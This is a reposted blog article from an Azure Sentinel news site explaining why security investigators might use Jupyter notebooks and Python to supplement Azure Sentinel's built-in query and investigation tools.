Azure Sentinel News
  • Home
    • Home – Layout 1
    • Home – Layout 2
    • Home – Layout 3
  • Security and Compliance
  • SOC
  • Threat Intelligence
  • Security Ochestration & Automated Response
  • SOAR
  • Security Operations
  • Artificial Intelligence
No Result
View All Result
  • Home
    • Home – Layout 1
    • Home – Layout 2
    • Home – Layout 3
  • Security and Compliance
  • SOC
  • Threat Intelligence
  • Security Ochestration & Automated Response
  • SOAR
  • Security Operations
  • Artificial Intelligence
No Result
View All Result
Azure Sentinel News
No Result
View All Result
Home Security and Compliance

Why Use Jupyter for Security Investigations?

Azure Sentinel News Editor by Azure Sentinel News Editor
December 7, 2020
in Security and Compliance
0
ForgeRock integrates with Microsoft, Auth0 launches marketplace to secure enterprise digital identity
6.9kViews
638 Shares Share on Facebook Share on Twitter

What is Jupyter?

Jupyter is an interactive development and data manipulation environment hosted in a browser. It takes code that you type into a cell, executes it and returns the output to you. Here is an example:JupyterAndSecurity-JupyterCell.png

For more introductory information and sample notebooks go to jupyter.org. and the jupyter introductory documentation

Why Jupyter?

“Why would I use Jupyter notebooks to work with Azure Sentinel data rather than the built-in query and investigation tools?” might be your first question. And the first answer is that, usually, you wouldn’t. In most cases, the scenario and data that you are investigating can be handled perfectly well in with the coming graphical investigation tool, with Log Analytics queries and cool case features like Bookmarks.

The second point to make is that it is not an either/or question .You should think about Jupyter notebooks as something to use to supplement the built-in and growing capabilities of the Azure Sentinel portal. 

One reason that you might want to reach for Jupyter is when the complexity of what you are looking for becomes too high. “How complex is too complex?” is a difficult question to answer but some guidelines might be:

  • when the number of queries in your investigation chain goes beyond around 7 (the number of things that the average person can juggle in short-term memory).
  • when you start to need extra-strength reading glasses to see all the detail of the investigation graph.
  • when you discover that your browser has just crashed and you hadn’t saved any of the queries or results that you were working on.

Some of the other benefits of working in Jupyter are outlined in the following sections.

Data Persistence, Repeatability and Backtracking

One of the painful things when working on a more complex security investigation is keeping track of what you have done. You might easily find yourself with tens of queries and results sets – many of which turned out to be dead ends. Which ones do you keep? How easy is it to backtrack and re-run the queries with different values or date ranges? How do you accumulate the useful results in a single report? What if you want to re-run the same pattern on a future investigation?

With most data-querying environments the answer is a lot of manual work and heavy reliance on good short-term memory. Jupyter, on the other hand, gives you a linear progression through the investigation – saving queries and data as you go. With the use of variables through the progression of the queries (e.g. for time ranges, account names, IP addresses, etc.) it also makes it much easier to backtrack and re-run and to reuse the entire workflow in future investigations.

Scripting and Programming environment

In Jupyter you are not limited to querying and viewing results but have the full power of a programming language. Although you can do a lot in a flexible declarative language like Kql (or others like SQL), being able to split your logic into procedural chunks is often helpful and sometimes essential. A declarative language means that you need to encode your logic in a single (possibly complex) statement, while procedural languages allow you to execute logic in a series of steps.

Being able to use procedural code lets you:

  • See and debug intermediate results.
  • Add functionality (such as decoding fields, parsing data) that may not be available in the query language.
  • Re-use partial results in later processing steps.

Joining to External Data

Most of your telemetry/event data will be in Azure Sentinel workspace tables but there will often be exceptions:

  • data in an external service that you do not own – e.g. IP whois and geolocation data, threat intelligence source,
  • sensitive data that may only be stored within your organization – HR Database, lists of execs, admins or high-value assets,
  • or simply data that you have not yet migrated to the cloud.

Any data that is accessible over your network or from a file can be linked with Azure Sentinel data via Python and Jupyter.

Access to Sophisticated Data Processing, Machine Learing and Visualization

Azure Sentinel and the Kusto/Log Analytics data store underlying it have a lot of options for visualization and advanced data processing (even clustering, windowed statistical and machine learning functions) and more capabilities are being added all the time. However, there may be times when you need something different: specialized visualizations, machine learning libraries or even just data processing and transformation facilities not available in the Azure Sentinel platform. You can see examples of these in some of the Azure Sentinel sample notebooks (see References at the end of the document).

Some well-known examples of these in the Python language are:

  • pandas for data processing, cleanup and engineering
  • matplotlib, holoviews, plotly and many others for visualization
  • numpy and scipy for advanced numerical and scientific processing
  • scikit-learn for machine learning
  • tensorflow, pytorch, keras for deep learning

Why Python?

Jupyter can be used with many different languages – what makes Python a good choice?

Popularity

It is very likely that you already have Python coders in your organization. It is now the most widely taught language in Computer Science courses and used widely in many scientific fields. It is also frequently used by IT Pros — where it has largely replaced perl as the go-to language for scripting and systems management — and by web developers (many popular services such as DropBox and Instagram are almost entirely written in Python).

Ecosystem

Driven by this popularity, there is a vast repository of python libraries available on PyPi and nearly 1 million python repos on Github. For many of the tools that you need as a security investigator – data manipulation, data analysis, visualization, machine learning and statistical analysis – no other language ecosystem has comparable tools.

One remarkable point here is that pretty much every major python package and the core language itself are o

pen source and written and maintained by volunteers.

Alternatives to Python

You can use other language kernels with Juypter, and you can mix and match languages (to a degree) within the same notebook using ‘magics’ that allow execution of individual cells using another language. For example, you could retrieve data using a PowerShell script cell, process the data in python and use JavaScript to render a visualization. In practice, this can be a little trickier than it sounds but certainly possible with a bit of hand-wiring.

Reference:https://techcommunity.microsoft.com/t5/azure-sentinel/why-use-jupyter-for-security-investigations/ba-p/475729

Tags: cybersecurityjupyterNotebookspythonSecurity
Azure Sentinel News Editor

Azure Sentinel News Editor

Related Posts

Vectra AI and Microsoft partner on security integration
Security and Compliance

Replay Now Available – Microsoft Security Insights 036: Azure Sentinel with Rod Trent

February 8, 2021
What’s new: Microsoft Teams connector in Public Preview
Security and Compliance

eBook Available for Managing Azure Sentinel with PowerShell

January 6, 2021
Microsoft is quietly becoming a cybersecurity powerhouse
Security and Compliance

Official Azure Sentinel PowerShell Module Released

January 4, 2021
Next Post
Microsoft is quietly becoming a cybersecurity powerhouse

Security Investigation with Azure Sentinel and Jupyter Notebooks – Part 1

Microsoft is quietly becoming a cybersecurity powerhouse

What's New: 80 out of the box hunting queries!

Microsoft renames and unifies more products under Microsoft Defender brand

What’s New: Improved Incident Closing Experience is now Available!

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Follow Us

  • 21.8M Fans
  • 81 Followers

Recommended

Microsoft’s newest sustainable datacenter region coming to Arizona in 2021

Ingest Box.com activity events via Microsoft Cloud App Security into Azure Sentinel

3 months ago
Microsoft’s new cloud-hosted security information and event management service rolls out in a public preview.

Microsoft’s new cloud-hosted security information and event management service rolls out in a public preview.

4 months ago
Microsoft’s newest sustainable datacenter region coming to Arizona in 2021

Become an Azure Sentinel Ninja: The complete level 400 training

3 months ago
With new release, CrowdStrike targets Google Cloud, Azure and container adopters

Understanding the Little Blue Permissions Locks in Azure Sentinel Data Connectors

3 weeks ago

Instagram

    Please install/update and activate JNews Instagram plugin.

Categories

  • AI & ML
  • Artificial Intelligence
  • Incident Response
  • IR
  • KQL
  • Security and Compliance
  • Security Ochestration & Automated Response
  • Security Operations
  • SIEM
  • SOAR
  • SOC
  • Threat Intelligence
  • Uncategorized

Topics

anomaly automation Azure Azure DevOps Azure Security Center Azure Sentinel Azure Sentinel API Azure Sentinel Connector BlueVoyant Call cybersecurity Detection file GitHub Hunting Huntingy IAC incident response Incident Triage infrastructure as code Investigation jupyter LAQueryLogs MDR Microsoft microsoft 365 mssp Multitenancy Notebooks Pester Playbooks PowerShell python Records Security Sentinel Sharing SIEM signin Supply Chain teams Threat hunting Watchlists Workbooks XDR
No Result
View All Result

Highlights

New Items of Note on the Azure Sentinel GitHub Repo

Tuning the MCAS Analytics Rule for Azure Sentinel: System Alerts and Feature Deprecation

New Search Capability for Azure Sentinel Incidents

Follow-up: Microsoft Tech Talks Practical Sentinel : A Day in the Life of a Sentinel Analyst

Changes in How Running Hunting Queries Works in Azure Sentinel

Azure Sentinel can now Analyze All Available Azure Active Directory Log Files

Trending

What’s new: Microsoft Teams connector in Public Preview
IR

How to Generate Azure Sentinel Incidents for Testing

by Azure Sentinel News Editor
February 26, 2021
0

Do you want to generate an Incident in Azure Sentinel for testing/demoing? Here’s a couple easy ways...

What’s new: Microsoft Teams connector in Public Preview

Azure Sentinel Notebooks Loses It’s Preview Tag

February 25, 2021
Microsoft’s newest sustainable datacenter region coming to Arizona in 2021

The Holy Grail of Azure Sentinel Data Connections: The Azure Service Diagnostic Setting

February 22, 2021
Microsoft’s newest sustainable datacenter region coming to Arizona in 2021

New Items of Note on the Azure Sentinel GitHub Repo

February 18, 2021
Microsoft’s newest sustainable datacenter region coming to Arizona in 2021

Tuning the MCAS Analytics Rule for Azure Sentinel: System Alerts and Feature Deprecation

February 17, 2021

We bring you the best, latest and perfect Azure Sentinel News, Magazine, Personal Blogs, etc. Visit our landing page to see all features & demos.
LEARN MORE »

Recent News

  • How to Generate Azure Sentinel Incidents for Testing February 26, 2021
  • Azure Sentinel Notebooks Loses It’s Preview Tag February 25, 2021
  • The Holy Grail of Azure Sentinel Data Connections: The Azure Service Diagnostic Setting February 22, 2021

Categories

  • AI & ML
  • Artificial Intelligence
  • Incident Response
  • IR
  • KQL
  • Security and Compliance
  • Security Ochestration & Automated Response
  • Security Operations
  • SIEM
  • SOAR
  • SOC
  • Threat Intelligence
  • Uncategorized

[mc4wp_form]

Copyright © 2020 - Azure Sentinel News

No Result
View All Result
  • Home
  • Security and Compliance
  • SOC
  • Threat Intelligence
  • Security Ochestration & Automated Response
  • SOAR
  • Security Operations
  • Artificial Intelligence

Copyright © 2020 Azure Sentinel News